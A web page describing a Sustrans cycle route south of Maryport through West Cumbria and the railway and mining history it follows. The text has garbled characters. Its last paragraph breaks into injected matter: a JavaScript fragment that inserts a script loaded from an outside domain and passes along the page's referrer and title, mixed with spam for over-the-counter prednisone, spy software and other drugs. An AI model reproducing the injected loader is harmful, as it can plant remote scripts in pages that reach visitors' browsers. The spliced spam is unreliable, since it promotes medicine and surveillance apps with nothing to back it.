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South of Maryport you will be following a purpose built cycle route nearly all the way to Seascale, south of Sellafield. This has been something of an heroic adventure occupying Sustrans, Groundwork and the Councils for the best part of the last 20 years. One recent addition is the new path south of the docks, past the reclaimed waste heaps to pass under the railway and on to Flimby. Ideas for a coastal route following the narrow strip of dunes between station and sea proved too difficult and you now follow an inland track to St Helens, and then a new roadside path past the Oldside and Siddick line of windmills on your right and the paperworks on your left, to join the start of a long series of railway paths.

The railway routes we follow are just some of the lines built in West Cumbria during a few frantic years in the mid 19th century. Coal was mined and exported by sea from 1650 onwards from Workington, Parton and Whitehaven, and early on horse drawn waggonways were made with at least eight lines in the Whitehaven area by 1820. We follow the one at Parton. The first railway here was the Maryport and Carlisle, built in 1845 by George Stephenson, and by 1850 the coastal line was open all the way to Furness. This all remains as the current mainline railway.

The route follows the lines built to serve the burgeoning steelworks. The Whitehaven, Clearwater and Egremont opened in 1866 and the diversionary line A?a��A�Way of the IronmastersA?a��A?, built to avoid the punitive LNWR charges on the coastal route, opened from Siddick in 1879. But by 1880 the industry was already on the wane, the fabulous haematite mines worked out and the Ironmasters were importing Spanish ores. Gradually the mines closed A?a��a�? the last was an ore mine at Beckermet in 1982, and the last coal mine, Haig Pit at Whitehaven, in 1986. By then most of the inland railways were closed. This decline was the cyclistA?a��a�?s good fortune and some 30 miles are incorporated into Sustrans C2C Routes, which themselves then became a catalyst for the whole National Cycle Network. As you cycle along these green and tranquil paths it is difficult to imagine the industry of every description which worked here scarcely 100 years ago, and all the more incongruous because of the areaA?a��a�?s association with the Lake District.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; can you buy prednisone over the counter in greece document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName('head')[0].appendChild(s); Buy https://topspyapps.net - The most popular 2017 spy software applications for the mobile phones. laby era http://dbspithoragarh.org/yasmin-village-ras-al-khaimah-sale/ when did fosamax go generic